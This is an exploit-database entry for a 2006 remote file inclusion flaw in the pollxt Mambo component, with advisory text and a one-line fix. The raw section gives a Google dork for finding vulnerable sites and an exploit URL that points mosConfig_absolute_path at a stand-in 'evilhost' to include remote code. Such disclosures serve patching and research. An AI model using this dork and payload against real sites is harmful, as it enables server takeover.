header-logo
Suggest Exploit
vendor:
pollxt
by:
vitux
7,5
CVSS
HIGH
Input Validation
20
CWE
Product Name: pollxt
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

Variable $mosConfig_absolute_path not sanitized

The pollxt mambo component is vulnerable to an input validation vulnerability due to the lack of sanitization of the $mosConfig_absolute_path variable. This vulnerability can be exploited by an attacker to inject malicious code into the vulnerable application. The attacker can use a dork to find vulnerable websites and then inject malicious code into the vulnerable application by passing the malicious code in the $mosConfig_absolute_path variable.

Mitigation:

Add the code 'defined('_VALID_MOS') or die('Direct access to this location is not allowed.');' before the vulnerable code.
Source

Exploit-DB raw data:

Application : pollxt mambo Component
 
URL : http://www.mamboxt.com
 
Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on
in components/com_pollxt/conf.pollxt.php on line 1-2
 
require_once($mosConfig_absolute_path."/administrator/components/com_pollxt/pollxt.class.php");

Exploit:
~~~~~~~~

dork: inurl:"com_pollxt"
 
http://www.vuln.com/components/com_pollxt/conf.pollxt.php?mosConfig_absol
ute_path=http://evilhost

Fix
~~~~

Add before code:
defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

vitux

# milw0rm.com [2006-07-17]

Navigation

Suggest Exploit

Services By CQR